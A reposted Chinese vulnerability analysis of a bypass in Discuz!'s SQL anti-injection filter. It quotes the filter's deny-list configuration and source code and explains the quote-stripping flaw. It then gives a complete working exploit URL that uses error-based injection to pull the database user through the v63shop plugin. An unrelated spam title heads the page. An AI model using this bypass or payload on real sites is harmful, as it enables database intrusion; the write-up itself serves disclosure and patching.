自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

Discuz防注入函數(shù)繞過方法分析

安全 數(shù)據(jù)安全
DIscuz v63積分插件被爆注入漏洞,某互聯(lián)網(wǎng)公司公布了一個的繞過discuz防注入函數(shù)的“方法”,事實(shí)上文章中說的“/*”會被discuz攔截。并沒有繞過,SafeKey Team分析了某互聯(lián)網(wǎng)公司披露的discuz v63積分商城插件注入漏洞,發(fā)現(xiàn)discuz本身的防注入機(jī)制可以被繞過,且無限制。

分析人:晴天小鑄,Seay

分析時間:2013年03月20日

discuz介紹:

Crossday Discuz! Board(以下簡稱 Discuz!,中國國家版權(quán)局著作權(quán)登記號 2006SR11895)是康盛創(chuàng)想(北京)科技有限公司(英文簡稱Comsenz)推出的一套通用的社區(qū)論壇軟件系統(tǒng),用戶可以在不需要任何編程的基礎(chǔ)上,通過簡單的設(shè)置和安裝,在互聯(lián)網(wǎng)上搭建起具備完善功能、很強(qiáng)負(fù)載能力和可高度定制的論壇服務(wù)。Discuz! 的基礎(chǔ)架構(gòu)采用世界上最流行的 web 編程組合 PHP+MySQL 實(shí)現(xiàn),是一個經(jīng)過完善設(shè)計(jì),適用于各種服務(wù)器環(huán)境的高效論壇系統(tǒng)解決方案。

DIscuz v63積分插件被爆注入漏洞,某互聯(lián)網(wǎng)公司公布了一個的繞過discuz防注入函數(shù)的“方法”,鏈接http://bbs.webscan.#/forum.php?mod=viewthread&tid=5373。事實(shí)上文章中說的“/*”會被discuz攔截。并沒有繞過,SafeKey Team分析了某互聯(lián)網(wǎng)公司披露的discuz v63積分商城插件注入漏洞,發(fā)現(xiàn)discuz本身的防注入機(jī)制可以被繞過,且無限制。

Discuz防注入分析如下:

先看防注入配置: 

  1. $_config['security']['querysafe']['status'] = 1;             // 是否開啟SQL安全檢測,可自動預(yù)防SQL注入攻擊  
  2. $_config['security']['querysafe']['dfunction'] = array('load_file','hex','substring','if','ord','char');  
  3. $_config['security']['querysafe']['daction'] = array('intooutfile','intodumpfile','unionselect','(select''unionall''uniondistinct');  
  4. $_config['security']['querysafe']['dnote'] = array('/*','*/','#','--','"');  
  5. $_config['security']['querysafe']['dlikehex'] = 1;  
  6. $_config['security']['querysafe']['afullnote'] = 0; 

Discuz 執(zhí)行SQL語句之前會調(diào)用{\source\class\discuz\discuz_database.php} 文件discuz_database_safecheck類下面的checkquery($sql)函數(shù)進(jìn)行過濾。但是過濾并不嚴(yán)謹(jǐn),我們發(fā)現(xiàn)可以繞過改防注入函數(shù)。 

  1. public static function checkquery($sql) {  
  2.         if (self::$config === null) {  
  3.             self::$config = getglobal('config/security/querysafe');  
  4.         }  
  5.         if (self::$config['status']) {  
  6.             $cmd = trim(strtoupper(substr($sql, 0, strpos($sql, ' '))));  
  7.             if (in_array($cmd, self::$checkcmd)) {  
  8.                 $test = self::_do_query_safe($sql);  
  9.                 if ($test < 1) {  
  10.                     throw new DbException('It is not safe to do this query', 0, $sql);  
  11.                 }  
  12.             }  
  13.         }  
  14.         return true;  
  15.     } 

上面的if (self::$config['status']) {判斷有木有開啟防注入。最終會self::_do_query_safe($sql);

調(diào)用 _do_query_safe()函數(shù)。跟進(jìn)該函數(shù),在同文件的363行。

  1. private static function _do_query_safe($sql) {  
  2. $sql = str_replace(array('\\\\', '\\\'', '\\"', '\'\''), '', $sql);  
  3. $mark = $clean = '';  
  4.  
  5. if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false) {  
  6.     $clean = preg_replace("/'(.+?)'/s", '', $sql);  
  7. } else {  
  8.  
  9.     $len = strlen($sql);  
  10.     $mark = $clean = '';  
  11.     for ($i = 0; $i < $len; $i++) {  
  12.         $str = $sql[$i];  
  13.         switch ($str) {  
  14.             case '\'':  
  15.                 if (!$mark) {  
  16.                     $mark = '\'';  
  17.                     $clean .= $str;  
  18.                 } elseif ($mark == '\'') {  
  19.                     $mark = '';  
  20.                 }  
  21.                 break;  
  22.             case '/':  
  23.                 if (empty($mark) && $sql[$i + 1] == '*') {  
  24.                     $mark = '/*';  
  25.                     $clean .= $mark;  
  26.                     $i++;  
  27.                 } elseif ($mark == '/*' && $sql[$i - 1] == '*') {  
  28.                     $mark = '';  
  29.                     $clean .'*';  
  30.                 }  
  31.                 break;  
  32.             case '#':  
  33.                 if (empty($mark)) {  
  34.                     $mark = $str;  
  35.                     $clean .= $str;  
  36.                 }  
  37.                 break;  
  38.             case "\n":  
  39.                 if ($mark == '#' || $mark == '--') {  
  40.                     $mark = '';  
  41.                 }  
  42.                 break;  
  43.             case '-':  
  44.                 if (empty($mark) && substr($sql, $i, 3) == '-- ') {  
  45.                     $mark = '-- ';  
  46.                     $clean .= $mark;  
  47.                 }  
  48.                 break;  
  49.  
  50.             default:  
  51.  
  52.                 break;  
  53.         }  
  54.         $clean .= $mark ? '' : $str;  
  55.     }  
  56. }  
  57.  
  58. $clean = preg_replace("/[^a-z0-9_\-\(\)#\*\/\"]+/is", "", strtolower($clean));  
  59.  
  60. if (self::$config['afullnote']) {  
  61.     $clean = str_replace('/**/', '', $clean);  
  62. }  
  63.  
  64. if (is_array(self::$config['dfunction'])) {  
  65.     foreach (self::$config['dfunction'] as $fun) {  
  66.         if (strpos($clean, $fun . '(') !== false)  
  67.             return '-1';  
  68.     }  
  69. }  
  70.  
  71. if (is_array(self::$config['daction'])) {  
  72.     foreach (self::$config['daction'] as $action) {  
  73.         if (strpos($clean, $action) !== false)  
  74.             return '-3';  
  75.     }  
  76. }  
  77.  
  78. if (self::$config['dlikehex'] && strpos($clean, 'like0x')) {  
  79.     return '-2';  
  80. }  
  81.  
  82. if (is_array(self::$config['dnote'])) {  
  83.     foreach (self::$config['dnote'] as $note) {  
  84.         if (strpos($clean, $note) !== false)  
  85.             return '-4';  
  86.     }  
  87. }  
  88.  
  89. return 1;  

 該防注入函數(shù)的關(guān)鍵繞過代碼在:

  1. if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false) {  
  2.             $clean = preg_replace("/'(.+?)'/s", '', $sql);  
  3. }  
  4. else  

在discuz v63積分商城插件注入漏洞exp中并不需要斜杠、#號和—注釋符。所以會執(zhí)行$clean = preg_replace(“/’(.+?)’/s”, ”, $sql);原來SQL語句中兩個單引號中間的內(nèi)容就會被替換為空。并不會進(jìn)入到下面的else分支。Else下面的所有操作均是對$clean變量的操作。所以繞過的思路就是把SQL語句放在兩個單引號中間。對于mysql的一個特性,

@`’` 是為空的,所以我們的攻擊語句可以放到兩個@`’`中間,即使GPC開啟,單引號被轉(zhuǎn)義為\’,而@`’`變成@`\’`對注入也是沒有影響的,所以此繞過方法無限制。

即針對該注入漏洞的攻擊EXP為:

  1. http://www.cnseay.com/discuz/plugin.php?id=v63shop:goods&pac=info&gid=110 or @`’` and (select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b) or @`’`  or @`’` and (select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b) or @`’` 

調(diào)試輸出SQL語句:

Discuz防注入函數(shù)繞過方法分析及沒用心的修復(fù)補(bǔ)丁

可以看到我們的注入語句被替換掉了,所以后面的檢查字符的時候并沒有發(fā)現(xiàn)注入語句。

最終成功利用:

Discuz防注入函數(shù)繞過方法分析及沒用心的修復(fù)補(bǔ)丁

 官網(wǎng)補(bǔ)?。篽ttp://www.discuz.net/forum.php?mod=viewthread&tid=3234536

責(zé)任編輯:藍(lán)雨淚 來源: FreebuF
相關(guān)推薦

2010-09-14 19:50:55

2013-01-11 16:23:29

2017-05-05 11:31:34

2013-04-26 11:39:40

2009-08-31 14:44:30

2017-09-07 15:39:27

2023-08-31 07:55:21

Android系統(tǒng)壓縮處理

2019-02-19 08:45:41

2015-09-28 09:56:14

2020-12-31 10:14:42

防注入代碼繞過

2017-05-08 08:32:51

2013-05-13 11:25:02

WAFWeb應(yīng)用防火墻WAF繞過

2011-09-06 16:56:43

2022-08-05 16:47:15

網(wǎng)絡(luò)安全SQL注入

2009-07-10 11:07:00

WebWork注入Servlet方法

2013-04-19 13:20:14

2012-11-15 13:37:32

dedecms注入腳本攻防

2010-09-30 09:11:01

2018-03-05 10:40:12

LinuxUnix命令別名

2023-12-13 12:46:49

數(shù)據(jù)分析指標(biāo)算法
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號